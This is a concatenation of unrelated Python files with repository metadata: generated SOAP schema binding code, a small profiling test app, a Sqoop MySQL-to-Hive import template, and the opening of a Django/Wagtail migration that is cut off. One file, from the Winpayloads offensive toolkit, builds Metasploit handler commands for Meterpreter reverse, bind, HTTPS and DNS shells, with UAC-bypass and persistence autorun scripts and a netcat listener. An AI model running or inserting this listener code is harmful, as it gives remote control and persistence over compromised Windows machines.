fac.UpdateInstruction(cc_22, False) ])) st_22._set_transitionSet(transitions) transitions = [] transitions.append(fac.Transition(st_23, [ fac.UpdateInstruction(cc_23, True) ])) transitions.append(fac.Transition(st_24, [ fac.UpdateInstruction(cc_23, False) ])) transitions.append(fac.Transition(st_25, [ fac.UpdateInstruction(cc_23, False) ])) transitions.append(fac.Transition(st_26, [ fac.UpdateInstruction(cc_23, False) ])) transitions.append(fac.Transition(st_27, [ fac.UpdateInstruction(cc_23, False) ])) transitions.append(fac.Transition(st_28, [ fac.UpdateInstruction(cc_23, False) ])) transitions.append(fac.Transition(st_29, [ fac.UpdateInstruction(cc_23, False) ])) transitions.append(fac.Transition(st_30, [ fac.UpdateInstruction(cc_23, False) ])) transitions.append(fac.Transition(st_31, [ fac.UpdateInstruction(cc_23, False) ])) transitions.append(fac.Transition(st_32, [ fac.UpdateInstruction(cc_23, False) ])) transitions.append(fac.Transition(st_33, [ fac.UpdateInstruction(cc_23, False) ])) transitions.append(fac.Transition(st_34, [ fac.UpdateInstruction(cc_23, False) ])) transitions.append(fac.Transition(st_35, [ fac.UpdateInstruction(cc_23, False) ])) transitions.append(fac.Transition(st_36, [ fac.UpdateInstruction(cc_23, False) ])) transitions.append(fac.Transition(st_37, [ fac.UpdateInstruction(cc_23, False) ])) transitions.append(fac.Transition(st_38, [ fac.UpdateInstruction(cc_23, False) ])) transitions.append(fac.Transition(st_39, [ fac.UpdateInstruction(cc_23, False) ])) transitions.append(fac.Transition(st_40, [ fac.UpdateInstruction(cc_23, False) ])) st_23._set_transitionSet(transitions) transitions = [] transitions.append(fac.Transition(st_24, [ fac.UpdateInstruction(cc_24, True) ])) transitions.append(fac.Transition(st_25, [ fac.UpdateInstruction(cc_24, False) ])) transitions.append(fac.Transition(st_26, [ fac.UpdateInstruction(cc_24, False) ])) transitions.append(fac.Transition(st_27, [ fac.UpdateInstruction(cc_24, False) ])) transitions.append(fac.Transition(st_28, [ fac.UpdateInstruction(cc_24, False) ])) transitions.append(fac.Transition(st_29, [ fac.UpdateInstruction(cc_24, False) ])) transitions.append(fac.Transition(st_30, [ fac.UpdateInstruction(cc_24, False) ])) transitions.append(fac.Transition(st_31, [ fac.UpdateInstruction(cc_24, False) ])) transitions.append(fac.Transition(st_32, [ fac.UpdateInstruction(cc_24, False) ])) transitions.append(fac.Transition(st_33, [ fac.UpdateInstruction(cc_24, False) ])) transitions.append(fac.Transition(st_34, [ fac.UpdateInstruction(cc_24, False) ])) transitions.append(fac.Transition(st_35, [ fac.UpdateInstruction(cc_24, False) ])) transitions.append(fac.Transition(st_36, [ fac.UpdateInstruction(cc_24, False) ])) transitions.append(fac.Transition(st_37, [ fac.UpdateInstruction(cc_24, False) ])) transitions.append(fac.Transition(st_38, [ fac.UpdateInstruction(cc_24, False) ])) transitions.append(fac.Transition(st_39, [ fac.UpdateInstruction(cc_24, False) ])) transitions.append(fac.Transition(st_40, [ fac.UpdateInstruction(cc_24, False) ])) st_24._set_transitionSet(transitions) transitions = [] transitions.append(fac.Transition(st_25, [ fac.UpdateInstruction(cc_25, True) ])) transitions.append(fac.Transition(st_26, [ fac.UpdateInstruction(cc_25, False) ])) transitions.append(fac.Transition(st_27, [ fac.UpdateInstruction(cc_25, False) ])) transitions.append(fac.Transition(st_28, [ fac.UpdateInstruction(cc_25, False) ])) transitions.append(fac.Transition(st_29, [ fac.UpdateInstruction(cc_25, False) ])) transitions.append(fac.Transition(st_30, [ fac.UpdateInstruction(cc_25, False) ])) transitions.append(fac.Transition(st_31, [ fac.UpdateInstruction(cc_25, False) ])) transitions.append(fac.Transition(st_32, [ fac.UpdateInstruction(cc_25, False) ])) transitions.append(fac.Transition(st_33, [ fac.UpdateInstruction(cc_25, False) ])) transitions.append(fac.Transition(st_34, [ fac.UpdateInstruction(cc_25, False) ])) transitions.append(fac.Transition(st_35, [ fac.UpdateInstruction(cc_25, False) ])) transitions.append(fac.Transition(st_36, [ fac.UpdateInstruction(cc_25, False) ])) transitions.append(fac.Transition(st_37, [ fac.UpdateInstruction(cc_25, False) ])) transitions.append(fac.Transition(st_38, [ fac.UpdateInstruction(cc_25, False) ])) transitions.append(fac.Transition(st_39, [ fac.UpdateInstruction(cc_25, False) ])) transitions.append(fac.Transition(st_40, [ fac.UpdateInstruction(cc_25, False) ])) st_25._set_transitionSet(transitions) transitions = [] transitions.append(fac.Transition(st_26, [ fac.UpdateInstruction(cc_26, True) ])) transitions.append(fac.Transition(st_27, [ fac.UpdateInstruction(cc_26, False) ])) transitions.append(fac.Transition(st_28, [ fac.UpdateInstruction(cc_26, False) ])) transitions.append(fac.Transition(st_29, [ fac.UpdateInstruction(cc_26, False) ])) transitions.append(fac.Transition(st_30, [ fac.UpdateInstruction(cc_26, False) ])) transitions.append(fac.Transition(st_31, [ fac.UpdateInstruction(cc_26, False) ])) transitions.append(fac.Transition(st_32, [ fac.UpdateInstruction(cc_26, False) ])) transitions.append(fac.Transition(st_33, [ fac.UpdateInstruction(cc_26, False) ])) transitions.append(fac.Transition(st_34, [ fac.UpdateInstruction(cc_26, False) ])) transitions.append(fac.Transition(st_35, [ fac.UpdateInstruction(cc_26, False) ])) transitions.append(fac.Transition(st_36, [ fac.UpdateInstruction(cc_26, False) ])) transitions.append(fac.Transition(st_37, [ fac.UpdateInstruction(cc_26, False) ])) transitions.append(fac.Transition(st_38, [ fac.UpdateInstruction(cc_26, False) ])) transitions.append(fac.Transition(st_39, [ fac.UpdateInstruction(cc_26, False) ])) transitions.append(fac.Transition(st_40, [ fac.UpdateInstruction(cc_26, False) ])) st_26._set_transitionSet(transitions) transitions = [] transitions.append(fac.Transition(st_27, [ fac.UpdateInstruction(cc_27, True) ])) transitions.append(fac.Transition(st_28, [ fac.UpdateInstruction(cc_27, False) ])) transitions.append(fac.Transition(st_29, [ fac.UpdateInstruction(cc_27, False) ])) transitions.append(fac.Transition(st_30, [ fac.UpdateInstruction(cc_27, False) ])) transitions.append(fac.Transition(st_31, [ fac.UpdateInstruction(cc_27, False) ])) transitions.append(fac.Transition(st_32, [ fac.UpdateInstruction(cc_27, False) ])) transitions.append(fac.Transition(st_33, [ fac.UpdateInstruction(cc_27, False) ])) transitions.append(fac.Transition(st_34, [ fac.UpdateInstruction(cc_27, False) ])) transitions.append(fac.Transition(st_35, [ fac.UpdateInstruction(cc_27, False) ])) transitions.append(fac.Transition(st_36, [ fac.UpdateInstruction(cc_27, False) ])) transitions.append(fac.Transition(st_37, [ fac.UpdateInstruction(cc_27, False) ])) transitions.append(fac.Transition(st_38, [ fac.UpdateInstruction(cc_27, False) ])) transitions.append(fac.Transition(st_39, [ fac.UpdateInstruction(cc_27, False) ])) transitions.append(fac.Transition(st_40, [ fac.UpdateInstruction(cc_27, False) ])) st_27._set_transitionSet(transitions) transitions = [] transitions.append(fac.Transition(st_28, [ fac.UpdateInstruction(cc_28, True) ])) transitions.append(fac.Transition(st_29, [ fac.UpdateInstruction(cc_28, False) ])) transitions.append(fac.Transition(st_30, [ fac.UpdateInstruction(cc_28, False) ])) transitions.append(fac.Transition(st_31, [ fac.UpdateInstruction(cc_28, False) ])) transitions.append(fac.Transition(st_32, [ fac.UpdateInstruction(cc_28, False) ])) transitions.append(fac.Transition(st_33, [ fac.UpdateInstruction(cc_28, False) ])) transitions.append(fac.Transition(st_34, [ fac.UpdateInstruction(cc_28, False) ])) transitions.append(fac.Transition(st_35, [ fac.UpdateInstruction(cc_28, False) ])) transitions.append(fac.Transition(st_36, [ fac.UpdateInstruction(cc_28, False) ])) transitions.append(fac.Transition(st_37, [ fac.UpdateInstruction(cc_28, False) ])) transitions.append(fac.Transition(st_38, [ fac.UpdateInstruction(cc_28, False) ])) transitions.append(fac.Transition(st_39, [ fac.UpdateInstruction(cc_28, False) ])) transitions.append(fac.Transition(st_40, [ fac.UpdateInstruction(cc_28, False) ])) st_28._set_transitionSet(transitions) transitions = [] transitions.append(fac.Transition(st_29, [ fac.UpdateInstruction(cc_29, True) ])) transitions.append(fac.Transition(st_30, [ fac.UpdateInstruction(cc_29, False) ])) transitions.append(fac.Transition(st_31, [ fac.UpdateInstruction(cc_29, False) ])) transitions.append(fac.Transition(st_32, [ fac.UpdateInstruction(cc_29, False) ])) transitions.append(fac.Transition(st_33, [ fac.UpdateInstruction(cc_29, False) ])) transitions.append(fac.Transition(st_34, [ fac.UpdateInstruction(cc_29, False) ])) transitions.append(fac.Transition(st_35, [ fac.UpdateInstruction(cc_29, False) ])) transitions.append(fac.Transition(st_36, [ fac.UpdateInstruction(cc_29, False) ])) transitions.append(fac.Transition(st_37, [ fac.UpdateInstruction(cc_29, False) ])) transitions.append(fac.Transition(st_38, [ fac.UpdateInstruction(cc_29, False) ])) transitions.append(fac.Transition(st_39, [ fac.UpdateInstruction(cc_29, False) ])) transitions.append(fac.Transition(st_40, [ fac.UpdateInstruction(cc_29, False) ])) st_29._set_transitionSet(transitions) transitions = [] transitions.append(fac.Transition(st_30, [ fac.UpdateInstruction(cc_30, True) ])) transitions.append(fac.Transition(st_31, [ fac.UpdateInstruction(cc_30, False) ])) transitions.append(fac.Transition(st_32, [ fac.UpdateInstruction(cc_30, False) ])) transitions.append(fac.Transition(st_33, [ fac.UpdateInstruction(cc_30, False) ])) transitions.append(fac.Transition(st_34, [ fac.UpdateInstruction(cc_30, False) ])) transitions.append(fac.Transition(st_35, [ fac.UpdateInstruction(cc_30, False) ])) transitions.append(fac.Transition(st_36, [ fac.UpdateInstruction(cc_30, False) ])) transitions.append(fac.Transition(st_37, [ fac.UpdateInstruction(cc_30, False) ])) transitions.append(fac.Transition(st_38, [ fac.UpdateInstruction(cc_30, False) ])) transitions.append(fac.Transition(st_39, [ fac.UpdateInstruction(cc_30, False) ])) transitions.append(fac.Transition(st_40, [ fac.UpdateInstruction(cc_30, False) ])) st_30._set_transitionSet(transitions) transitions = [] transitions.append(fac.Transition(st_31, [ fac.UpdateInstruction(cc_31, True) ])) transitions.append(fac.Transition(st_32, [ fac.UpdateInstruction(cc_31, False) ])) transitions.append(fac.Transition(st_33, [ fac.UpdateInstruction(cc_31, False) ])) transitions.append(fac.Transition(st_34, [ fac.UpdateInstruction(cc_31, False) ])) transitions.append(fac.Transition(st_35, [ fac.UpdateInstruction(cc_31, False) ])) transitions.append(fac.Transition(st_36, [ fac.UpdateInstruction(cc_31, False) ])) transitions.append(fac.Transition(st_37, [ fac.UpdateInstruction(cc_31, False) ])) transitions.append(fac.Transition(st_38, [ fac.UpdateInstruction(cc_31, False) ])) transitions.append(fac.Transition(st_39, [ fac.UpdateInstruction(cc_31, False) ])) transitions.append(fac.Transition(st_40, [ fac.UpdateInstruction(cc_31, False) ])) st_31._set_transitionSet(transitions) transitions = [] transitions.append(fac.Transition(st_32, [ fac.UpdateInstruction(cc_32, True) ])) transitions.append(fac.Transition(st_33, [ fac.UpdateInstruction(cc_32, False) ])) transitions.append(fac.Transition(st_34, [ fac.UpdateInstruction(cc_32, False) ])) transitions.append(fac.Transition(st_35, [ fac.UpdateInstruction(cc_32, False) ])) transitions.append(fac.Transition(st_36, [ fac.UpdateInstruction(cc_32, False) ])) transitions.append(fac.Transition(st_37, [ fac.UpdateInstruction(cc_32, False) ])) transitions.append(fac.Transition(st_38, [ fac.UpdateInstruction(cc_32, False) ])) transitions.append(fac.Transition(st_39, [ fac.UpdateInstruction(cc_32, False) ])) transitions.append(fac.Transition(st_40, [ fac.UpdateInstruction(cc_32, False) ])) st_32._set_transitionSet(transitions) transitions = [] transitions.append(fac.Transition(st_33, [ fac.UpdateInstruction(cc_33, True) ])) transitions.append(fac.Transition(st_34, [ fac.UpdateInstruction(cc_33, False) ])) transitions.append(fac.Transition(st_35, [ fac.UpdateInstruction(cc_33, False) ])) transitions.append(fac.Transition(st_36, [ fac.UpdateInstruction(cc_33, False) ])) transitions.append(fac.Transition(st_37, [ fac.UpdateInstruction(cc_33, False) ])) transitions.append(fac.Transition(st_38, [ fac.UpdateInstruction(cc_33, False) ])) transitions.append(fac.Transition(st_39, [ fac.UpdateInstruction(cc_33, False) ])) transitions.append(fac.Transition(st_40, [ fac.UpdateInstruction(cc_33, False) ])) st_33._set_transitionSet(transitions) transitions = [] transitions.append(fac.Transition(st_34, [ fac.UpdateInstruction(cc_34, True) ])) transitions.append(fac.Transition(st_35, [ fac.UpdateInstruction(cc_34, False) ])) transitions.append(fac.Transition(st_36, [ fac.UpdateInstruction(cc_34, False) ])) transitions.append(fac.Transition(st_37, [ fac.UpdateInstruction(cc_34, False) ])) transitions.append(fac.Transition(st_38, [ fac.UpdateInstruction(cc_34, False) ])) transitions.append(fac.Transition(st_39, [ fac.UpdateInstruction(cc_34, False) ])) transitions.append(fac.Transition(st_40, [ fac.UpdateInstruction(cc_34, False) ])) st_34._set_transitionSet(transitions) transitions = [] transitions.append(fac.Transition(st_35, [ fac.UpdateInstruction(cc_35, True) ])) transitions.append(fac.Transition(st_36, [ fac.UpdateInstruction(cc_35, False) ])) transitions.append(fac.Transition(st_37, [ fac.UpdateInstruction(cc_35, False) ])) transitions.append(fac.Transition(st_38, [ fac.UpdateInstruction(cc_35, False) ])) transitions.append(fac.Transition(st_39, [ fac.UpdateInstruction(cc_35, False) ])) transitions.append(fac.Transition(st_40, [ fac.UpdateInstruction(cc_35, False) ])) st_35._set_transitionSet(transitions) transitions = [] transitions.append(fac.Transition(st_36, [ fac.UpdateInstruction(cc_36, True) ])) transitions.append(fac.Transition(st_37, [ fac.UpdateInstruction(cc_36, False) ])) transitions.append(fac.Transition(st_38, [ fac.UpdateInstruction(cc_36, False) ])) transitions.append(fac.Transition(st_39, [ fac.UpdateInstruction(cc_36, False) ])) transitions.append(fac.Transition(st_40, [ fac.UpdateInstruction(cc_36, False) ])) st_36._set_transitionSet(transitions) transitions = [] transitions.append(fac.Transition(st_37, [ fac.UpdateInstruction(cc_37, True) ])) transitions.append(fac.Transition(st_38, [ fac.UpdateInstruction(cc_37, False) ])) transitions.append(fac.Transition(st_39, [ fac.UpdateInstruction(cc_37, False) ])) transitions.append(fac.Transition(st_40, [ fac.UpdateInstruction(cc_37, False) ])) st_37._set_transitionSet(transitions) transitions = [] transitions.append(fac.Transition(st_38, [ fac.UpdateInstruction(cc_38, True) ])) transitions.append(fac.Transition(st_39, [ fac.UpdateInstruction(cc_38, False) ])) transitions.append(fac.Transition(st_40, [ fac.UpdateInstruction(cc_38, False) ])) st_38._set_transitionSet(transitions) transitions = [] transitions.append(fac.Transition(st_39, [ fac.UpdateInstruction(cc_39, True) ])) transitions.append(fac.Transition(st_40, [ fac.UpdateInstruction(cc_39, False) ])) st_39._set_transitionSet(transitions) transitions = [] transitions.append(fac.Transition(st_40, [ fac.UpdateInstruction(cc_40, True) ])) st_40._set_transitionSet(transitions) return fac.Automaton(states, counters, True, containing_state=None) Body_._Automaton = _BuildAutomaton_2() Fault_._AddElement(pyxb.binding.basis.element(pyxb.namespace.ExpandedName(None, 'faultcode'), pyxb.binding.datatypes.QName, scope=Fault_, location=pyxb.utils.utility.Location('/Users/bloomberglondonrd1/IdeaProjects/silvercore/xsd/all.xsd', 112, 8))) Fault_._AddElement(pyxb.binding.basis.element(pyxb.namespace.ExpandedName(None, 'faultstring'), pyxb.binding.datatypes.string, scope=Fault_, location=pyxb.utils.utility.Location('/Users/bloomberglondonrd1/IdeaProjects/silvercore/xsd/all.xsd', 113, 8))) Fault_._AddElement(pyxb.binding.basis.element(pyxb.namespace.ExpandedName(None, 'faultactor'), pyxb.binding.datatypes.anyURI, scope=Fault_, location=pyxb.utils.utility.Location('/Users/bloomberglondonrd1/IdeaProjects/silvercore/xsd/all.xsd', 114, 8))) Fault_._AddElement(pyxb.binding.basis.element(pyxb.namespace.ExpandedName(None, 'detail'), detail, scope=Fault_, location=pyxb.utils.utility.Location('/Users/bloomberglondonrd1/IdeaProjects/silvercore/xsd/all.xsd', 115, 8))) def _BuildAutomaton_3 (): # Remove this helper function from the namespace after it is invoked global _BuildAutomaton_3 del _BuildAutomaton_3 import pyxb.utils.fac as fac counters = set() cc_0 = fac.CounterCondition(min=0, max=1, metadata=pyxb.utils.utility.Location('/Users/bloomberglondonrd1/IdeaProjects/silvercore/xsd/all.xsd', 114, 8)) counters.add(cc_0) cc_1 = fac.CounterCondition(min=0, max=1, metadata=pyxb.utils.utility.Location('/Users/bloomberglondonrd1/IdeaProjects/silvercore/xsd/all.xsd', 115, 8)) counters.add(cc_1) states = [] final_update = None symbol = pyxb.binding.content.ElementUse(Fault_._UseForTag(pyxb.namespace.ExpandedName(None, 'faultcode')), pyxb.utils.utility.Location('/Users/bloomberglondonrd1/IdeaProjects/silvercore/xsd/all.xsd', 112, 8)) st_0 = fac.State(symbol, is_initial=True, final_update=final_update, is_unordered_catenation=False) states.append(st_0) final_update = set() symbol = pyxb.binding.content.ElementUse(Fault_._UseForTag(pyxb.namespace.ExpandedName(None, 'faultstring')), pyxb.utils.utility.Location('/Users/bloomberglondonrd1/IdeaProjects/silvercore/xsd/all.xsd', 113, 8)) st_1 = fac.State(symbol, is_initial=False, final_update=final_update, is_unordered_catenation=False) states.append(st_1) final_update = set() final_update.add(fac.UpdateInstruction(cc_0, False)) symbol = pyxb.binding.content.ElementUse(Fault_._UseForTag(pyxb.namespace.ExpandedName(None, 'faultactor')), pyxb.utils.utility.Location('/Users/bloomberglondonrd1/IdeaProjects/silvercore/xsd/all.xsd', 114, 8)) st_2 = fac.State(symbol, is_initial=False, final_update=final_update, is_unordered_catenation=False) states.append(st_2) final_update = set() final_update.add(fac.UpdateInstruction(cc_1, False)) symbol = pyxb.binding.content.ElementUse(Fault_._UseForTag(pyxb.namespace.ExpandedName(None, 'detail')), pyxb.utils.utility.Location('/Users/bloomberglondonrd1/IdeaProjects/silvercore/xsd/all.xsd', 115, 8)) st_3 = fac.State(symbol, is_initial=False, final_update=final_update, is_unordered_catenation=False) states.append(st_3) transitions = [] transitions.append(fac.Transition(st_1, [ ])) st_0._set_transitionSet(transitions) transitions = [] transitions.append(fac.Transition(st_2, [ ])) transitions.append(fac.Transition(st_3, [ ])) st_1._set_transitionSet(transitions) transitions = [] transitions.append(fac.Transition(st_2, [ fac.UpdateInstruction(cc_0, True) ])) transitions.append(fac.Transition(st_3, [ fac.UpdateInstruction(cc_0, False) ])) st_2._set_transitionSet(transitions) transitions = [] transitions.append(fac.Transition(st_3, [ fac.UpdateInstruction(cc_1, True) ])) st_3._set_transitionSet(transitions) return fac.Automaton(states, counters, False, containing_state=None) Fault_._Automaton = _BuildAutomaton_3() def _BuildAutomaton_4 (): # Remove this helper function from the namespace after it is invoked global _BuildAutomaton_4 del _BuildAutomaton_4 import pyxb.utils.fac as fac counters = set() cc_0 = fac.CounterCondition(min=0, max=None, metadata=pyxb.utils.utility.Location('/Users/bloomberglondonrd1/IdeaProjects/silvercore/xsd/all.xsd', 120, 8)) counters.add(cc_0) states = [] final_update = set() final_update.add(fac.UpdateInstruction(cc_0, False)) symbol = pyxb.binding.content.WildcardUse(pyxb.binding.content.Wildcard(process_contents=pyxb.binding.content.Wildcard.PC_lax, namespace_constraint=pyxb.binding.content.Wildcard.NC_any), pyxb.utils.utility.Location('/Users/bloomberglondonrd1/IdeaProjects/silvercore/xsd/all.xsd', 120, 8)) st_0 = fac.State(symbol, is_initial=True, final_update=final_update, is_unordered_catenation=False) states.append(st_0) transitions = [] transitions.append(fac.Transition(st_0, [ fac.UpdateInstruction(cc_0, True) ])) st_0._set_transitionSet(transitions) return fac.Automaton(states, counters, True, containing_state=None) detail._Automaton = _BuildAutomaton_4()

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0

null

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1

0

null

0

9

a2da4cb3d4c122d1d326d604f8b0df707f21fbf1

68

py

Python

tests/profiling/uwsgi-app.py

p7g/dd-trace-py

141ac0ab6e9962e3b3bafc9de172076075289a19

[ "Apache-2.0", "BSD-3-Clause" ]

308

2016-12-07T16:49:27.000Z

2022-03-15T10:06:45.000Z

tests/profiling/uwsgi-app.py

p7g/dd-trace-py

141ac0ab6e9962e3b3bafc9de172076075289a19

[ "Apache-2.0", "BSD-3-Clause" ]

1,928

2016-11-28T17:13:18.000Z

2022-03-31T21:43:19.000Z

tests/profiling/uwsgi-app.py

p7g/dd-trace-py

141ac0ab6e9962e3b3bafc9de172076075289a19

[ "Apache-2.0", "BSD-3-Clause" ]

311

2016-11-27T03:01:49.000Z

2022-03-18T21:34:03.000Z

import ddtrace.profiling.auto # noqa def application(): pass

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null

0

1

0

1

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7

a2dfc9a6d085915c3816c5b8bfecf14263a47139

5,184

py

Python

lib/startmetasploit.py

roberto-cavalli1/Winpayloads

f8697cb9ce154ec9f44090719ba41eaa6c07fccf

[ "Apache-2.0" ]

8

2018-01-12T19:02:38.000Z

2022-01-27T12:10:35.000Z

lib/startmetasploit.py

roberto-cavalli1/Winpayloads

f8697cb9ce154ec9f44090719ba41eaa6c07fccf

[ "Apache-2.0" ]

null

lib/startmetasploit.py

roberto-cavalli1/Winpayloads

f8697cb9ce154ec9f44090719ba41eaa6c07fccf

[ "Apache-2.0" ]

4

2018-01-06T07:19:18.000Z

2021-04-24T02:06:29.000Z

import os class METASPLOIT(object): def __init__(self): if os.geteuid == 0: self.placeholder = '' else: self.placeholder = 'sudo ' ########Reverse######## def metrev_uac(self,portnum): os.system('%smsfconsole -x \'use exploit/multi/handler;set payload windows/meterpreter/reverse_tcp;set LPORT %s;set LHOST 0.0.0.0;set autorunscript multi_console_command -rc uacbypass.rc;set ExitOnSession false;exploit -j\'' %(self.placeholder, portnum)) def metrev_allchecks(self,portnum): os.system('%smsfconsole -x \'use exploit/multi/handler;set payload windows/meterpreter/reverse_tcp;set LPORT %s;set LHOST 0.0.0.0;set autorunscript post/windows/manage/exec_powershell SCRIPT=allchecks.ps1;set ExitOnSession false;exploit -j\'' %(self.placeholder, portnum)) def metrev_persistence(self,portnum): os.system('%smsfconsole -x \'use exploit/multi/handler;set payload windows/meterpreter/reverse_tcp;set LPORT %s;set LHOST 0.0.0.0;set autorunscript multi_console_command -rc persist.rc;set ExitOnSession false;exploit -j\'' %(self.placeholder, portnum)) def metrev_normal(self,portnum): os.system('%smsfconsole -x \'use exploit/multi/handler;set payload windows/meterpreter/reverse_tcp;set LPORT %s;set LHOST 0.0.0.0;set ExitOnSession false; exploit -j\'' %(self.placeholder, portnum)) ########Bind######## def metbind_uac(self,bindport,bindip): os.system('%smsfconsole -x \'use exploit/multi/handler;set payload windows/meterpreter/bind_tcp;set LPORT %s;set RHOST %s;set autorunscript multi_console_command -rc uacbypass.rc;set ExitOnSession false;exploit -j\'' % (self.placeholder, bindport, bindip)) def metbind_allchecks(self,bindport,bindip): os.system('%smsfconsole -x \'use exploit/multi/handler;set payload windows/meterpreter/bind_tcp;set LPORT %s;set RHOST %s;set autorunscript post/windows/manage/exec_powershell SCRIPT=allchecks.ps1;set ExitOnSession false;exploit -j\'' % (self.placeholder, bindport, bindip)) def metbind_persistence(self,bindport,bindip): os.system('%smsfconsole -x \'use exploit/multi/handler;set payload windows/meterpreter/bind_tcp;set LPORT %s;set RHOST %s;set autorunscript multi_console_command -rc persist.rc;set ExitOnSession false;exploit -j\'' % (self.placeholder, bindport, bindip)) def metbind_normal(self,bindport,bindip): os.system('%smsfconsole -x \'use exploit/multi/handler;set payload windows/meterpreter/bind_tcp;set LPORT %s;set RHOST %s;set ExitOnSession false; exploit -j \'' % (self.placeholder, bindport, bindip)) ########Http######## def methttps_uac(self,portnum): os.system('%smsfconsole -x \'use exploit/multi/handler;set payload windows/meterpreter/reverse_https;set LPORT %s;set LHOST 0.0.0.0;set autorunscript multi_console_command -rc uacbypass.rc;set ExitOnSession false;exploit -j\'' % (self.placeholder, portnum)) def methttps_allchecks(self,portnum): os.system('%smsfconsole -x \'use exploit/multi/handler;set payload windows/meterpreter/reverse_https;set LPORT %s;set LHOST 0.0.0.0;set autorunscript post/windows/manage/exec_powershell SCRIPT=allchecks.ps1;set ExitOnSession false;exploit -j\'' % (self.placeholder, portnum)) def methttps_persistence(self,portnum): os.system('%smsfconsole -x \'use exploit/multi/handler;set payload windows/meterpreter/reverse_https;set LPORT %s;set LHOST 0.0.0.0;set autorunscript multi_console_command -rc persist.rc;set ExitOnSession false;exploit -j\'' % (self.placeholder, portnum)) def methttps_normal(self,portnum): os.system('%smsfconsole -x \'use exploit/multi/handler;set payload windows/meterpreter/reverse_https;set LPORT %s;set LHOST 0.0.0.0;set ExitOnSession false; exploit -j\'' % (self.placeholder, portnum)) ########DNS######## def metdns_uac(self,portnum,DNSaddr): os.system('%smsfconsole -x \'use exploit/multi/handler;set payload windows/meterpreter/reverse_tcp_dns;set LPORT %s;set LHOST %s;set autorunscript multi_console_command -rc uacbypass.rc;set ExitOnSession false;exploit -j\'' %(self.placeholder, portnum,DNSaddr)) def metdns_allchecks(self,portnum,DNSaddr): os.system('%smsfconsole -x \'use exploit/multi/handler;set payload windows/meterpreter/reverse_tcp_dns;set LPORT %s;set LHOST %s;set autorunscript post/windows/manage/exec_powershell SCRIPT=allchecks.ps1;set ExitOnSession false;exploit -j\'' %(self.placeholder, portnum,DNSaddr)) def metdns_persistence(self,portnum,DNSaddr): os.system('%smsfconsole -x \'use exploit/multi/handler;set payload windows/meterpreter/reverse_tcp_dns;set LPORT %s;set LHOST %s;set autorunscript multi_console_command -rc persist.rc;set ExitOnSession false; exploit -j\'' %(self.placeholder, portnum,DNSaddr)) def metdns_normal(self,portnum,DNSaddr): os.system('%smsfconsole -x \'use exploit/multi/handler;set payload windows/meterpreter/reverse_tcp_dns;set LPORT %s;set LHOST %s;set ExitOnSession false; exploit -j\'' %(self.placeholder, portnum,DNSaddr)) ########NC####### def nclisterner(self,portnum): os.system('%snc -lvp %s'%(self.placeholder, portnum))

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0.00813

0.122106

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48

288

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null

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1

0

1

0

9

0c4f3931309a9f890e1f5024409981dc029d7273

1,667

py

Python

script/SqoopScript.py

wangfeigithub/mysql2hiveETL

ada8f6b69c5b09597141c3ef0ec0ca1ad8f586f1

[ "Apache-2.0" ]

2

2019-08-14T02:29:32.000Z

2019-09-10T07:14:19.000Z

script/SqoopScript.py

wangfeigithub/mysql2hiveETL

ada8f6b69c5b09597141c3ef0ec0ca1ad8f586f1

[ "Apache-2.0" ]

null

script/SqoopScript.py

wangfeigithub/mysql2hiveETL

ada8f6b69c5b09597141c3ef0ec0ca1ad8f586f1

[ "Apache-2.0" ]

1

2019-09-10T07:14:21.000Z

#!/usr/bin/env python # -*- coding: utf-8 -*- # @Time : 2018/8/30 下午5:16 # @Author : wangfei # hive脚本 # 有变化的数据去重合并 INCREMENT_ETL_SCRIPT = ''' /data/module/sqoop/bin/sqoop import -Dmapred.job.queue.name={}\ --connect jdbc:mysql://{}:3306/{}?tinyInt1isBit=false \ --username {} \ --password {} \ --table {} \ --columns "{}" \ --num-mappers {} \ --hive-import \ --hive-overwrite \ --hive-database {}_tmp \ --hive-table {}_increment \ --direct \ --delete-target-dir \ --where "({} >='{}' and {} <'{}') or ( {} >='{}' and {} <'{}' )" ''' # 按照创建时间追加 APPEND_ETL_SCRIPT = ''' /data/module/sqoop/bin/sqoop import -Dmapred.job.queue.name={}\ --connect jdbc:mysql://{}:3306/{}?tinyInt1isBit=false \ --username {} \ --password {} \ --table {} \ --columns "{}" \ --num-mappers {} \ --hive-import \ --hive-database {} \ --hive-table {} \ --direct \ --delete-target-dir \ --where "{} >='{}' and {} <'{}'" ''' # 全量导入 FULL_ETL_SCRIPT = ''' /data/module/sqoop/bin/sqoop import -Dmapred.job.queue.name={}\ --connect jdbc:mysql://{}:3306/{}?tinyInt1isBit=false \ --username {} \ --password {} \ --table {} \ --columns "{}" \ --num-mappers {} \ --hive-import \ --hive-overwrite \ --hive-database {} \ --hive-table {} \ --direct \ --delete-target-dir \ --where " {} <'{}'" '''

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74

0.436713

137

1,667

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0.394161

0.0375

0.054167

0.079167

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0.779167

0.670833

0

0.02381

0.344931

1,667

60

75

27.783333

0.635531

0.072585

0

0.829787

0

0.938231

0.191157

0

1

0

false

0.06383

0.12766

0

0.12766

0

null

0

1

0

1

0

1

0

null

0

1

0

9

a75881445197d72bd73bde91bab7cc30237f6303

24,870

py

Python

example/demosite/migrations/0001_initial.py

cityofaustin/wagtail-publish-preflight

5a40d20a7811c67d2c2e085c8127c8d35103a5c8

[ "BSD-3-Clause" ]

1

2019-12-12T21:19:00.000Z

example/demosite/migrations/0001_initial.py

cityofaustin/wagtail-publish-preflight

5a40d20a7811c67d2c2e085c8127c8d35103a5c8

[ "BSD-3-Clause" ]

12

2020-06-06T01:21:32.000Z

2022-02-10T13:52:28.000Z

example/demosite/migrations/0001_initial.py

cityofaustin/wagtail-publish-preflight

5a40d20a7811c67d2c2e085c8127c8d35103a5c8

[ "BSD-3-Clause" ]

null

# Generated by Django 2.2.8 on 2019-12-04 23:10 from django.db import migrations, models import django.db.models.deletion import modelcluster.contrib.taggit import modelcluster.fields import wagtail.core.fields class Migration(migrations.Migration): initial = True dependencies = [ ('wagtailimages', '0001_squashed_0021'), ('wagtailcore', '0041_group_collection_permissions_verbose_name_plural'), ('wagtaildocs', '0010_document_file_hash'), ('taggit', '0003_taggeditem_add_unique_index'), ] operations = [ migrations.CreateModel( name='BlogEntryPage', fields=[ ('page_ptr', models.OneToOneField(on_delete=django.db.models.deletion.CASCADE, parent_link=True, primary_key=True, related_name='+', serialize=False, to='wagtailcore.Page')), ('body', wagtail.core.fields.RichTextField()), ('date', models.DateField(verbose_name='Post date')), ('feed_image', models.ForeignKey(blank=True, null=True, on_delete=django.db.models.deletion.SET_NULL, related_name='+', to='wagtailimages.Image')), ], options={ 'abstract': False, }, bases=('wagtailcore.page',), ), migrations.CreateModel( name='BlogIndexPage', fields=[ ('page_ptr', 